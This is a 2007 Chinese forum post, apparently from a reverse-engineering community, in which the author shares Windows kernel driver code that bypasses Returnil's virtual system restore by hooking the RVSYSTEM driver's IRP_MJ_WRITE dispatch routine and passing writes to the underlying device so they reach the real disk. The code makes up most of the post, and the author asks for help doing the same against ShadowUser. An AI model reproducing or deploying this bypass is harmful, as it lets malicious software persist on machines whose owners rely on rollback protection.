[讨论]突破Returnil的虚拟还原,砸些大牛出来
发表于:
2007-7-19 13:06
7630
[讨论]突破Returnil的虚拟还原,砸些大牛出来
近来忽然对影子系统等很敢兴趣,于是看了看些虚拟还原的东西,bypass了Returnil,代码如下
typedef struct {
CSHORT Type;
USHORT Size;
PDEVICE_OBJECT DeviceObject;
long PowerFlags;
long Dope;
long ExtensionFlags;
long DeviceNode;
PDEVICE_OBJECT AttachedTo;
long StartIoCount;
long StartIoKey;
long StartIoFlags;
long Vpb;
} MyDEVOBJ_EXTENSION, *PMyDEVOBJ_EXTENSION;
VOID ByPass()
{
UNICODE_STRING drivername;
NTSTATUS status;
RtlInitUnicodeString(&drivername,L"\\Driver\\RVSYSTEM");
status=ObReferenceObjectByName(&drivername,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
&TDrvObj);
if (!NT_SUCCESS(status))
{
return;
}
OldShadowWrite=TDrvObj->MajorFunction[IRP_MJ_WRITE];
TDrvObj->MajorFunction[IRP_MJ_WRITE]=MyShadowWrite;
return;
}
NTSTATUS
MyShadowWrite(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PMyDEVOBJ_EXTENSION MyDevice;
PDEVICE_OBJECT MyNextDev;
IoSkipCurrentIrpStackLocation(Irp);
MyDevice=(PMyDEVOBJ_EXTENSION)(DeviceObject->DeviceObjectExtension);
MyNextDev=MyDevice->AttachedTo;
return IoCallDriver(MyNextDev,Irp);
}
尝试了xyzreg大虾的设备栈摘除大法,失效,用v大的hook Irp_mj_write过了,shadowuser没搞定,会无法关机,是扇区xx了的问题还是??等高人出水~~~
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课